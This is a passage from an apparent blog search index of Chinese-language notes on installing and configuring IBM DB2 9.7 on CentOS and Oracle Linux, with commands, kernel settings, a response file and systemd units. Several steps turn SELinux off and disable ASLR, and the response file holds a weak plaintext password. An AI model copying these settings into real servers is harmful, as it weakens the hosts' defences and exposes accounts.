successfully. For more information see the DB2 installation log at \u0026#34;/tmp/db2_install.log.1870\u0026#34;. 1 2 3 4 sudo groupadd db2iadm1 sudo groupadd db2fadm1 sudo useradd -m -g db2fadm1 db2fenc1 sudo useradd -m -g db2iadm1 -d /home/db2inst1 db2inst1 1 2 3 4 [root@db2-9-7 server]# sudo groupadd db2iadm1 [root@db2-9-7 server]# sudo groupadd db2fadm1 [root@db2-9-7 server]# sudo useradd -m -g db2fadm1 db2fenc1 [root@db2-9-7 server]# sudo useradd -m -g db2iadm1 -d /home/db2inst1 db2inst1 1 sudo /opt/ibm/db2/V9.7/instance/db2icrt -u db2fenc1 db2inst1 1 2 [root@db2-9-7 server]# sudo /opt/ibm/db2/V9.7/instance/db2icrt -u db2fenc1 db2inst1 DBI1070I Program db2icrt completed successfully. 1 su - db2inst1 1 2 3 export DB2DIR=/opt/ibm/db2/V9.7 export PATH=$DB2DIR/bin:$PATH export LD_LIBRARY_PATH=$DB2DIR/lib:$LD_LIBRARY_PATH 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [db2inst1@db2-9-7 ~]$ cat ~/.bashrc # .bashrc export DB2DIR=/opt/ibm/db2/V9.7 export PATH=$DB2DIR/bin:$PATH export LD_LIBRARY_PATH=$DB2DIR/lib:$LD_LIBRARY_PATH # Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi # User specific aliases and functions # The following three lines have been added by UDB DB2. if [ -f /home/db2inst1/sqllib/db2profile ]; then . /home/db2inst1/sqllib/db2profile fi 啟動資料庫\n1 2 3 4 5 [root@db2-9-7 server]# su - db2inst1 [db2inst1@db2-9-7 ~]$ db2start 06/16/2024 23:44:22 0 0 SQL1063N DB2START processing was successful. SQL1063N DB2START processing was successful. [db2inst1@db2-9-7 ~]$ 參考資料 # Install DB2 v9.7 on CentOS ","date":"November 13, 2024","externalUrl":null,"permalink":"/worknot/install-db2-9.7-in-centos6/","section":"Worknots","summary":"install-DB2-9.7-in-CentOS6 # # 1 yum install -y libaio ksh rsh-server pam-devel nfs-utils compat-libstdc++-33 libstdc++.i686 pam-devel.i686 compat-libstdc++-33.i686 1 rpm -qa | grep \"ksh\\|openssh\\|rsh-server\\|nfs-utils\\|libaio\\|libstdc++\\|libstdc++.i686\\|pam-devel\\|pam-devel.i686\\|compat-libstdc++\" 1 2 setenforce 0 sed -i 's/SELINUX=.*$/SELINUX=disabled/' /etc/selinux/config 修改核心參數 # 修改前 # 1 ipcs -l 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [root@db2-9-7 ~]# ipcs -l ------ Shared Memory Limits -------- max number of segments = 4096 max seg size (kbytes) = 67108864 max total shared memory (kbytes) = 17179869184 min seg size (bytes) = 1 ------ Semaphore Limits -------- max number of arrays = 128 max semaphores per array = 250 max semaphores system wide = 32000 max ops per semop call = 32 semaphore max value = 32767 ------ Messages: Limits -------- max queues system wide = 15736 max size of message (bytes) = 65536 default max size of queue (bytes) = 65536 修改參數檔 # /etc/sysctl.conf 1 2 fs.file-max = 16384 kernel.randomize_va_space = 0 1 sysctl -p 修改後 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [root@db2-9-7 ~]# ipcs -l ------ Shared Memory Limits -------- max number of segments = 4096 max seg size (kbytes) = 67108864 max total shared memory (kbytes) = 17179869184 min seg size (bytes) = 1 ------ Semaphore Limits -------- max number of arrays = 128 max semaphores per array = 250 max semaphores system wide = 32000 max ops per semop call = 32 semaphore max value = 32767 ------ Messages: Limits -------- max queues system wide = 15736 max size of message (bytes) = 65536 default max size of queue (bytes) = 65536 安裝 # 1 2 mkdir -p /db2/install tar -zxf /tmp/v9.7fp7_linuxx64_server.tar.gz -C /db2/install 1 2 ./db2prereqcheck ./db2_install -f NOTSAMP 1 2 3 4 5 6 7 8 AESE - 高級企業伺服器版（Advanced Enterprise Server Edition）：這是高端版本，適用於較大和更複雜的數據庫環境。 ESE - 企業伺服器版（Enterprise Server Edition）：適用於中大型環境，包含性能、可擴展性和可管理性功能。 CONSV - 連接伺服器（Connect Server）：提供 DB2 客戶端的連接功能。 WSE - 工作組伺服器版（Workgroup Server Edition）：適用於中小型企業，包含核心數據庫管理功能。 EXP - 快速入門版（Express-C）：免費版，適合開發和小型應用程序。 PE - 個人版（Personal Edition）：適合單一用戶的本地數據庫應用程序。 CLIENT - 客戶端：僅安裝 DB2 客戶端軟體，無服務器端功能。 RTCL - Runtime Client：運行時客戶端，適用於只需要 DB2 客戶端的執行環境。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 [root@db2-9-7 ~]# cd /db2/install/server/ [root@db2-9-7 server]# sudo ./db2_install -f NOTSAMP WARNING: DBT3534W The db2prereqcheck utility determined that ASLR is set to ON and that this could cause issues with some tools. WARNING: The 32-bit library file libpam.so is not found on the system. Default directory for installation of products - /opt/ibm/db2/V9.7 *********************************************************** Do you want to choose a different directory to install [yes/no] ? no Specify one of the following keywords to install DB2 products. AESE ESE CONSV WSE EXP PE CLIENT RTCL Enter \"help\" to redisplay product names. Enter \"quit\" to exit. *********************************************************** ESE WARNING: DBT3534W The db2prereqcheck utility determined that ASLR is set to ON and that this could cause issues with some tools. WARNING: The 32-bit library file libpam.so is not found on the system. DB2 installation is being initialized. Total number of tasks to be performed: 47 Total estimated time for all tasks to be performed: 1954 Task #1 start Description: Checking license agreement acceptance Estimated time 1 second(s) Task #1 end Task #2 start Description: Base Client Support for installation with root privileges Estimated time 3 second(s) Task #2 end Task #3 start Description: The DB2 required component. Estimated time 11 second(s) Task #3 end Task #4 start Description: Product Messages - English Estimated time 13 second(s) Task #4 end Task #5 start Description: Base client support Estimated time 202 second(s) Task #5 end Task #6 start Description: Java Runtime Support Estimated time 121 second(s) Task #6 end Task #7 start Description: Java Help (HTML) - English Estimated time 7 second(s) Task #7 end Task #8 start Description: Base server support for installation with root privileges Estimated time 7 second(s) Task #8 end Task #9 start Description: Global Secure ToolKit Estimated time 51 second(s) Task #9 end Task #10 start Description: Java support Estimated time 12 second(s) Task #10 end Task #11 start Description: SQL procedures Estimated time 3 second(s) Task #11 end Task #12 start Description: ICU Utilities Estimated time 40 second(s) Task #12 end Task #13 start Description: Java Common files Estimated time 20 second(s) Task #13 end Task #14 start Description: Base server support Estimated time 259 second(s) Task #14 end Task #15 start Description: IBM Software Development Kit (SDK) for Java(TM) Estimated time 35 second(s) Task #15 end Task #16 start Description: Control Center Help (HTML) - English Estimated time 13 second(s) Task #16 end Task #17 start Description: Connect support Estimated time 3 second(s) Task #17 end Task #18 start Description: Communication support - TCP/IP Estimated time 3 second(s) Task #18 end Task #19 start Description: Parallel Extension Estimated time 3 second(s) Task #19 end Task #20 start Description: EnterpriseDB code Estimated time 3 second(s) Task #20 end Task #21 start Description: Replication tools Estimated time 21 second(s) Task #21 end Task #22 start Description: Relational wrappers common Estimated time 3 second(s) Task #22 end Task #23 start Description: Control Center Estimated time 41 second(s) Task #23 end Task #24 start Description: Command Line Processor Plus Estimated time 6 second(s) Task #24 end Task #25 start Description: DB2 data source support Estimated time 6 second(s) Task #25 end Task #26 start Description: DB2 LDAP support Estimated time 4 second(s) Task #26 end Task #27 start Description: DB2 Instance Setup wizard Estimated time 8 second(s) Task #27 end Task #28 start Description: Integrated Flash Copy Support Estimated time 53 second(s) Task #28 end Task #29 start Description: Spatial Extender client Estimated time 3 second(s) Task #29 end Task #30 start Description: Base application development tools Estimated time 34 second(s) Task #30 end Task #31 start Description: DB2 Update Service Estimated time 4 second(s) Task #31 end Task #32 start Description: First Steps Estimated time 3 second(s) Task #32 end Task #33 start Description: Product Signature for DB2 Enterprise Server Edition Estimated time 5 second(s) Task #33 end Task #34 start Description: Sample database source Estimated time 4 second(s) Task #34 end Task #35 start Description: DB2 Text Search Estimated time 70 second(s) Task #35 end Task #36 start Description: Informix data source support Estimated time 4 second(s) Task #36 end Task #37 start Description: Setting DB2 library path Estimated time 180 second(s) Task #37 end Task #38 start Description: Executing control tasks Estimated time 20 second(s) Task #38 end Task #39 start Description: Updating global registry Estimated time 20 second(s) Task #39 end Task #40 start Description: Installing IBM Tivoli Monitoring for Databases Estimated time 600 second(s) Task #40 end Task #41 start Description: Starting DB2 Fault Monitor Estimated time 10 second(s) Task #41 end Task #42 start Description: Updating the db2ls link Estimated time 1 second(s) Task #42 end Task #43 start Description: Registering DB2 licenses Estimated time 5 second(s) Task #43 end Task #44 start Description: Setting default global profile registry variables Estimated time 1 second(s) Task #44 end Task #45 start Description: Initializing instance list Estimated time 5 second(s) Task #45 end Task #46 start Description: Registering DB2 Update Service Estimated time 30 second(s) Task #46 end Task #47 start Description: Updating global profile registry Estimated time 3 second(s) Task #47 end The execution completed successfully. For more information see the DB2 installation log at \"/tmp/db2_install.log.1870\". 1 2 3 4 sudo groupadd db2iadm1 sudo groupadd db2fadm1 sudo useradd -m -g db2fadm1 db2fenc1 sudo useradd -m -g db2iadm1 -d /home/db2inst1 db2inst1 1 2 3 4 [root@db2-9-7 server]# sudo groupadd db2iadm1 [root@db2-9-7 server]# sudo groupadd db2fadm1 [root@db2-9-7 server]# sudo useradd -m -g db2fadm1 db2fenc1 [root@db2-9-7 server]# sudo useradd -m -g db2iadm1 -d /home/db2inst1 db2inst1 1 sudo /opt/ibm/db2/V9.7/instance/db2icrt -u db2fenc1 db2inst1 1 2 [root@db2-9-7 server]# sudo /opt/ibm/db2/V9.7/instance/db2icrt -u db2fenc1 db2inst1 DBI1070I Program db2icrt completed successfully. 1 su - db2inst1 1 2 3 export DB2DIR=/opt/ibm/db2/V9.7 export PATH=$DB2DIR/bin:$PATH export LD_LIBRARY_PATH=$DB2DIR/lib:$LD_LIBRARY_PATH 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [db2inst1@db2-9-7 ~]$ cat ~/.bashrc # .bashrc export DB2DIR=/opt/ibm/db2/V9.7 export PATH=$DB2DIR/bin:$PATH export LD_LIBRARY_PATH=$DB2DIR/lib:$LD_LIBRARY_PATH # Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi # User specific aliases and functions # The following three lines have been added by UDB DB2. if [ -f /home/db2inst1/sqllib/db2profile ]; then . /home/db2inst1/sqllib/db2profile fi 啟動資料庫\n","title":"Install DB2 9.7 in CentOS6","type":"worknot"},{"content":" 安裝順序 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 scp ./v9.7fp7_linuxx64_server.tar.gz jameschang@192.168.122.138:/tmp/ # 創建需要的目錄 mkdir -p /db2 mkdir /source # 複製安裝包到映像內 mv /tmp/v9.7fp7_linuxx64_server.tar.gz /source # 安裝必要的依賴包 yum update -y yum install -y gcc libaio libstdc++ libstdc++-devel pam perl tar pam.i686 libnsl libnsl.i686 glibc.i686 libstdc++.i686 libstdc++-devel.i686 nspr.i686 nss.i686 libaio.i686 # OL9 yum install -y glibc.i686 libstdc++.i686 libpam.so.0 yum install -y https://rpmfind.net/linux/mageia/distrib/cauldron/x86_64/media/core/release/libstdc++5-3.3.6-19.mga9.x86_64.rpm # OL9 離線安裝準備 rpm yumdowner gcc glibc libaio libnsl libnsl libstdc++ libstdc++-devel libstdc++-devel pam perl glibc glibc-common glibc-gconv-extra glibc-langpack-en libgcc libgomp libstdc++ pam annobin audit-libs cpp dwz efi-srpm-macros fonts-srpm-macros gcc-c++ gcc-plugin-annobin ghc-srpm-macros glibc-devel glibc-gconv-extra glibc-headers go-srpm-macros kernel-headers kernel-srpm-macros libcap-ng libdatrie libdb libeconf libgcc libmpc libpkgconf libselinux libsepol libthai libxcrypt libxcrypt-devel llvm-libs lua-srpm-macros ocaml-srpm-macros openblas-srpm-macros openssl-libs pcre2 perl-Algorithm-Diff perl-Archive-Tar perl-Archive-Zip perl-Attribute-Handlers perl-AutoLoader perl-AutoSplit perl-B perl-Benchmark perl-CPAN perl-CPAN-Meta perl-CPAN-Meta-Requirements perl-CPAN-Meta-YAML perl-Carp perl-Class-Struct perl-Compress-Bzip2 perl-Compress-Raw-Bzip2 perl-Compress-Raw-Lzma perl-Compress-Raw-Zlib perl-Config-Extensions perl-Config-Perl-V perl-DBM_Filter perl-DB_File perl-Data-Dumper perl-Data-OptList perl-Data-Section perl-Devel-PPPort perl-Devel-Peek perl-Devel-SelfStubber perl-Devel-Size perl-Digest perl-Digest-MD5 perl-Digest-SHA perl-Digest-SHA1 perl-DirHandle perl-Dumpvalue perl-DynaLoader perl-Encode perl-Encode-devel perl-English perl-Env perl-Errno perl-Exporter perl-ExtUtils-CBuilder perl-ExtUtils-Command perl-ExtUtils-Constant perl-ExtUtils-Embed perl-ExtUtils-Install perl-ExtUtils-MM-Utils perl-ExtUtils-MakeMaker perl-ExtUtils-Manifest perl-ExtUtils-Miniperl perl-ExtUtils-ParseXS perl-Fcntl perl-File-Basename perl-File-Compare perl-File-Copy perl-File-DosGlob perl-File-Fetch perl-File-Find perl-File-HomeDir perl-File-Path perl-File-Temp perl-File-Which perl-File-stat perl-FileCache perl-FileHandle perl-Filter perl-Filter-Simple perl-FindBin perl-GDBM_File perl-Getopt-Long perl-Getopt-Std perl-HTTP-Tiny perl-Hash-Util perl-Hash-Util-FieldHash perl-I18N-Collate perl-I18N-LangTags perl-I18N-Langinfo perl-IO perl-IO-Compress perl-IO-Compress-Lzma perl-IO-Socket-IP perl-IO-Socket-SSL perl-IO-Zlib perl-IPC-Cmd perl-IPC-Open3 perl-IPC-SysV perl-IPC-System-Simple perl-Importer perl-JSON-PP perl-Locale-Maketext perl-Locale-Maketext-Simple perl-MIME-Base64 perl-MIME-Charset perl-MRO-Compat perl-Math-BigInt perl-Math-BigInt-FastCalc perl-Math-BigRat perl-Math-Complex perl-Memoize perl-Module-Build perl-Module-CoreList perl-Module-CoreList-tools perl-Module-Load perl-Module-Load-Conditional perl-Module-Loaded perl-Module-Metadata perl-Module-Signature perl-Mozilla-CA perl-NDBM_File perl-NEXT perl-Net perl-Net-Ping perl-Net-SSLeay perl-ODBM_File perl-Object-HashBase perl-Opcode perl-POSIX perl-Package-Generator perl-Params-Check perl-Params-Util perl-PathTools perl-Perl-OSType perl-PerlIO-via-QuotedPrint perl-Pod-Checker perl-Pod-Escapes perl-Pod-Functions perl-Pod-Html perl-Pod-Perldoc perl-Pod-Simple perl-Pod-Usage perl-Safe perl-Scalar-List-Utils perl-Search-Dict perl-SelectSaver perl-SelfLoader perl-Socket perl-Software-License perl-Storable perl-Sub-Exporter perl-Sub-Install perl-Symbol perl-Sys-Hostname perl-Sys-Syslog perl-Term-ANSIColor perl-Term-Cap perl-Term-Complete perl-Term-ReadLine perl-Term-Size-Perl perl-Term-Table perl-Test perl-Test-Harness perl-Test-Simple perl-Text-Abbrev perl-Text-Balanced perl-Text-Diff perl-Text-Glob perl-Text-ParseWords perl-Text-Tabs+Wrap perl-Text-Template perl-Thread perl-Thread-Queue perl-Thread-Semaphore perl-Tie perl-Tie-File perl-Tie-Memoize perl-Tie-RefHash perl-Time perl-Time-HiRes perl-Time-Local perl-Time-Piece perl-URI perl-Unicode-Collate perl-Unicode-Normalize perl-Unicode-UCD perl-User-pwent perl-autodie perl-autouse perl-base perl-bignum perl-blib perl-constant perl-debugger perl-deprecate perl-devel perl-diagnostics perl-doc perl-encoding perl-encoding-warnings perl-experimental perl-fields perl-filetest perl-if perl-inc-latest perl-interpreter perl-less perl-lib perl-libnet perl-libnetcfg perl-libs perl-local-lib perl-locale perl-macros perl-meta-notation perl-mro perl-open perl-overload perl-overloading perl-parent perl-perlfaq perl-ph perl-podlators perl-sigtrap perl-sort perl-srpm-macros perl-subs perl-threads perl-threads-shared perl-utils perl-vars perl-version perl-vmsish pkgconf pkgconf-m4 pkgconf-pkg-config pyproject-srpm-macros python-srpm-macros qt5-srpm-macros redhat-rpm-config rust-srpm-macros sombok systemtap-sdt-devel zip zlib perl-CPAN-DistnameInfo perl-Encode-Locale perl-Term-Size-Any perl-TermReadKey perl-Unicode-LineBreak 1 2 3 wget https://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/getPackage/compat-libstdc++-33-3.2.3-72.el7.x86_64.rpm wget https://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/getPackage/compat-libstdc++-33-3.2.3-72.el7.i686.rpm dnf install ./compat-libstdc++-33-3.2.3-72.el7.* 1 yum clean all /etc/sysctl.d/db2.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # 檔案開啟限制，建議加大到 64k 以上 fs.file-max = 655360 # 共享記憶體上限 (SHMMAX): 建議設為實體記憶體的 90% (以 byte 為單位) # 假設你是 64GB RAM: 64 * 1024 * 1024 * 1024 * 0.9 = 61847529062 kernel.shmmax = 7486776115 # 以 page 為單位 (shmmax / 4096) kernel.shmall = 1827826 # 訊號量 (Semaphores): DB2 需要大量的 SEM # \u0026lt;SEMMSL\u0026gt; \u0026lt;SEMMNS\u0026gt; \u0026lt;SEMOPM\u0026gt; \u0026lt;SEMMNI\u0026gt; kernel.sem = 250 256000 32 1024 # 提高網路緩衝區效能 net.core.rmem_default = 262144 net.core.rmem_max = 4194304 net.core.wmem_default = 262144 net.core.wmem_max = 4194304 # 保持關閉位址隨機化 kernel.randomize_va_space = 0 # 增加網路連線的併發能力，避免繁忙時連線被拒絕 net.ipv4.ip_local_port_range = 1024 65535 net.core.netdev_max_backlog = 3000 # 針對大型資料庫優化虛擬記憶體管理 vm.swappiness = 10 vm.dirty_ratio = 15 vm.dirty_background_ratio = 5 1 sysctl -p /etc/sysctl.d/db2.conf 停用透明大頁面 (Transparent Huge Pages, THP) 1 2 3 4 5 6 # 檢查狀態 cat /sys/kernel/mm/transparent_hugepage/enabled # 立即關閉 echo never \u0026gt; /sys/kernel/mm/transparent_hugepage/enabled echo never \u0026gt; /sys/kernel/mm/transparent_hugepage/defrag 1 sudo grubby --update-kernel=ALL --args=\u0026#34;transparent_hugepage=never\u0026#34; /boot/efi/EFI/redhat/grub.cfg\n1 GRUB_CMDLINE_LINUX=\u0026#34;resume=/dev/mapper/ol-swap rd.lvm.lv=ol/root ... transparent_hugepage=never\u0026#34; 1 2 # 針對 DB2 所在磁碟 (例如 sdb) echo deadline \u0026gt; /sys/block/sdb/queue/scheduler close SELINUX 1 2 3 setenforce 0 \u0026amp;\u0026amp;\\ sed -i \u0026#39;s/^SELINUX=enforcing$/SELINUX=permissive/\u0026#39; /etc/selinux/config \u0026amp;\u0026amp;\\ sed -i \u0026#39;s/^SELINUXTYPE=targeted/#\u0026amp;/\u0026#39; /etc/selinux/config 1 2 3 4 5 # 解壓安裝包並安裝 DB2 cd /source tar -xzf v9.7fp7_linuxx64_server.tar.gz vi /source/server/db2_install.rsp /source/server/db2_install.rsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ** Response File for ESE ** Also creates and starts db2 instance and makes entry in /etc/services ** Configures all required instance-level parameters except SYSMON_GROUP, which must still be set manually ** Additional DB2 work is still required after Commerce instance creation PROD = ENTERPRISE_SERVER_EDITION FILE = /opt/ibm/db2/V9.7 LIC_AGREEMENT = ACCEPT ** ACCEPT or DECLINE INSTALL_TYPE = TYPICAL ** TYPICAL, COMPACT, CUSTOM INSTALL_TSAMP = NO ** YES or NO. Valid for root install only INSTANCE = db2inst1 LANG = EN db2inst1.NAME = db2inst1 ** real name of the instance db2inst1.GROUP_NAME = db2iadm1 ** char(30) no spaces db2inst1.HOME_DIRECTORY = /home/db2inst1 ** char(64) no spaces. Valid for root install only db2inst1.AUTOSTART = YES ** YES or NO db2inst1.START_DURING_INSTALL = NO ** YES or NO db2inst1.SVCENAME = db2c_db2inst1 ** BLANK or char(14). Reserved for root install only db2inst1.PORT_NUMBER = 50000 ** 1024 - 65535, Reserved for root install only db2inst1.TYPE = ESE ** ESE WSE STANDALONE CLIENT db2inst1.AUTHENTICATION = SERVER ** CLIENT, SERVER, or SERVER_ENCRYPT db2inst1.FENCED_USERNAME = db2fenc1 ** char(8) no spaces, no upper case letters db2inst1.FENCED_GROUP_NAME = db2fadm1 ** char(30) no spaces db2inst1.FENCED_HOME_DIRECTORY = /home/db2fenc ** char(64) no spaces db2inst1.DFTDBPATH = /db2 ** any valid path db2inst1.DFT_MON_BUFPOOL = ON ** ON or OFF db2inst1.DFT_MON_LOCK = ON ** ON or OFF db2inst1.DFT_MON_SORT = ON ** ON or OFF db2inst1.DFT_MON_STMT = ON ** ON or OFF db2inst1.DFT_MON_TABLE = ON ** ON or OFF db2inst1.DFT_MON_UOW = ON ** ON or OFF db2inst1.DFT_MON_TIMESTAMP = ON ** ON or OFF db2inst1.INSTANCE_MEMORY = AUTOMATIC ** AUTOMATIC or a number in range [0, 1000000] for 32-bit and [0, 68719476736] for 64-bit db2inst1.HEALTH_MON = OFF ** default is ON; ON or OFF db2inst1.SHEAPTHRES = 50000 ** 250 - 2097152 db2inst1.SPM_NAME = NULL ** BLANK or char(8) db2inst1.SYSADM_GROUP = db2iadm1 ** BLANK or char(30) db2inst1.DB2BIDI = ON ** BLANK, 0, 1, YES, NO, ON, OFF, Y, N, TRUE, FALSE, T or F db2inst1.DB2_PARALLEL_IO = * ** BLANK, * or 0-4095,0-4095,... db2inst1.DB2_INLIST_TO_NLJN = YES ** BLANK or YES, NO db2inst1.DB2_USE_ALTERNATE_PAGE_CLEANING = ON ** BLANK or ON, OFF db2inst1.DB2_WORKLOAD = WC ** BLANK, SAP,1C db2inst1.DB2COMM = TCPIP db2inst1.PASSWORD = datao db2inst1.FENCED_PASSWORD = datao DAS_PASSWORD = datao DAS_USERNAME = dasusr1 ** char(8) no spaces, no upper case letters DAS_GROUP_NAME = dasadm1 ** char(30) no spaces 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ## 建議可以在這邊做快照 groupadd -g 700 db2iadm1 \u0026amp;\u0026amp;\\ groupadd -g 701 db2fadm1 \u0026amp;\u0026amp;\\ groupadd -g 702 dasadm1 \u0026amp;\u0026amp;\\ useradd -u 700 -g db2iadm1 -m -d /home/db2inst1 db2inst1 \u0026amp;\u0026amp;\\ useradd -u 701 -g db2fadm1 -m -d /home/db2fenc1 db2fenc1 \u0026amp;\u0026amp;\\ useradd -u 702 -g dasadm1 -m -d /home/dasusr1 dasusr1 \u0026amp;\u0026amp;\\ cd /source/server ./db2prereqcheck \u0026amp;\u0026amp;\\ ./db2setup -r /source/server/db2_install.rsp # /opt/ibm/db2/V9.7/instance/db2icrt -u db2fenc1 db2inst1 chown db2inst1: /db2 echo \u0026#34;export DB2DIR=/opt/ibm/db2/V9.7\u0026#34; \u0026gt;\u0026gt; /home/db2inst1/.bashrc echo \u0026#34;export PATH=\\$DB2DIR/bin:\\$PATH\u0026#34; \u0026gt;\u0026gt; /home/db2inst1/.bashrc echo \u0026#34;export LD_LIBRARY_PATH=\\$DB2DIR/lib:\\$LD_LIBRARY_PATH\u0026#34; \u0026gt;\u0026gt; /home/db2inst1/.bashrc 安裝完成訊息 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Post Install Recommendations ----------------------------- Required steps: You can connect to the DB2 instance \u0026#34;db2inst1\u0026#34; using the port number \u0026#34;50000\u0026#34;. Record it for future reference. In order to start using DB2 you need to logon using a valid user ID such as the DB2 instance owner\u0026#39;s ID \u0026#34;db2inst1\u0026#34;. Optional steps: Some features, such as OS-based authentication, DB2 High Availability, and configuring the DB2 Advanced Copy Services (ACS) directory are available only in root installations. Also, reserving service names for TCP/IP remote connection or DB2 Text Search is available only in root installations. To enable these features and abilities in non-root installations, run the db2rfe script as the root user with a configuration file. See /opt/ibm/db2/V9.7/instance/db2rfe.cfg for an example of the configuration file. To start using the DB2 instance \u0026#34;root\u0026#34;, you must set up the DB2 instance environment by sourcing db2profile (for Bourne or Korn shell) or db2cshrc (for C shell) in the sqllib directory with the command \u0026#34;. $HOME/sqllib/db2profile\u0026#34; or \u0026#34;source $HOME/sqllib/db2cshrc\u0026#34;. $HOME represents the home directory of the DB2 instance. You can also open a new login window of the DB2 instance user. To validate your installation files, instance, and database functionality, run the Validation Tool, /opt/ibm/db2/V9.7/bin/db2val. For more information, see \u0026#34;db2val\u0026#34; in the DB2 Information Center. Refer to \u0026#34;What\u0026#39;s new\u0026#34; http://publib.boulder.ibm.com/infocenter/db2luw/v9r7/topic/com.ibm.db2.luw.wn.doc/doc/c0052035.html in the DB2 Information Center to learn about the new functions for DB2 V9.7. Open First Steps by running \u0026#34;db2fs\u0026#34; using a valid user ID such as the DB2 instance owner\u0026#39;s ID. You will need to have DISPLAY set and a supported web browser in the path of this user ID. Verify that you have access to the DB2 Information Center based on the choices you made during this installation. If you performed a typical or a compact installation, verify that you can access the IBM Web site using the internet. If you performed a custom installation, verify that you can access the DB2 Information Center location specified during the installation. You should ensure that you have the correct license entitlements for DB2 products and features installed on this machine. Each DB2 product or feature comes with a license certificate file (also referred to as a license key) that is distributed on an Activation CD, which also includes instructions for applying the license file. If you purchased a base DB2 product, as well as, separately priced features, you might need to install more than one license certificate. The Activation CD for your product or feature can be downloaded from Passport Advantage if it is not part of the physical media pack you received from IBM. For more information on licensing, search the Information Center (http://publib.boulder.ibm.com/infocenter/db2luw/v9r7/index.jsp) using terms such as \u0026#34;licensing\u0026#34; or \u0026#34;db2licm\u0026#34;. DB2 Setup log file finished at: Mon 01 Jul 2024 02:56:44 PM CST CST ============================================================ 匯入 DB2 授權檔 # 匯入 license 必須使用 DB Instance 的帳號 授權檔可從檔名區分不同類型 db2aese_c.lic - DB2 Advanced Enterpriese Server Edition(aese), CPU License type(_c) db2ese_c.lic - DB2 Enterpriese Server Edition(ese), CPU License type(_c) db2wse_c.lic - DB2 Workgroup Server Edition(wse)，CPU License type(_c) db2aese_t.lic - DB2 Advanced Enterpriese Server Edition(aese), Trial License type(_t) V9.1 與 V9.7 的授權不可互用 1 2 3 4 # 匯入授權 db2licm -a /db2/license/db2aese_c.lic # 檢視授權資訊 db2licm -l 建立資料庫 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 su - db2inst1 mkdir -p /db2/data/db1 db2start db2 create db db1 on /db2/data/db1/ db2 connect to db1 db2 update dbm cfg using DFTDBPATH /db2/data/db1/ db2 disconnect current 1 2 3 4 5 6 [db2inst1@db140-db2v97 ~]$ db2 UPDATE DB CFG FOR db1 USING CUR_COMMIT ON; DB20000I The UPDATE DATABASE CONFIGURATION command completed successfully. [db2inst1@db140-db2v97 ~]$ db2 UPDATE DB CFG FOR db1 USING LOGBUFSZ 1024; DB20000I The UPDATE DATABASE CONFIGURATION command completed successfully. [db2inst1@db140-db2v97 ~]$ db2 UPDATE DB CFG FOR db1 USING SOFTMAX 300; DB20000I The UPDATE DATABASE CONFIGURATION command completed successfully. 建立 daemon # 開機時啟動 # 1 2 3 4 5 sudo vi /usr/local/bin/cunstom_startup_script.sh sudo chmod +x /usr/local/bin/cunstom_startup_script.sh sudo vi /etc/systemd/system/db2-startup.service sudo systemctl start db2-startup.service sudo systemctl enable db2-startup.service /usr/local/bin/cunstom_startup_script.sh 1 2 3 #!/bin/bash su - db2inst1 -c db2start /etc/systemd/system/db2-startup.service 1 2 3 4 5 6 7 8 9 10 11 [Unit] Description=DB2 Startup Service After=network.target [Service] Type=oneshot ExecStart=/usr/local/bin/cunstom_startup_script.sh RemainAfterExit=true [Install] WantedBy=multi-user.target 關機時關閉 # /usr/local/bin/cunstom_shutdown_script.sh 1 2 3 #!/bin/bash su - db2inst1 -c db2stop /etc/systemd/system/db2-shutdown.service 1 2 3 4 5 6 7 8 9 10 11 12 [Unit] Description=DB2 Shutdown Service DefaultDependencies=no Before=shutdown.target reboot.target halt.target [Service] Type=oneshot ExecStart=/usr/local/bin/cunstom_shutdown_script.sh RemainAfterExit=true [Install] WantedBy=halt.target reboot.target shutdown.target 1 2 sudo chmod +x /usr/local/bin/cunstom_shutdown_script.sh sudo systemctl enable db2-shutdown.service 防火牆設定 # 1 2 firewall-cmd --permanent --add-port=50000/tcp firewall-cmd --permanent --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;172.30.2.0/24\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;50000\u0026#34; accept\u0026#39; 新增使用帳號 # 1 2 useradd db1user -s /sbin/nologin --system passwd db1user 1 db2 connect to db1 1 2 3 4 db2 create role db1user db2 CREATE SCHEMA db1user AUTHORIZATION db1user db2 grant select on SCHEMA db1user to db1user db2 grant dbadm on database to user db1user 1 2 3 4 5 6 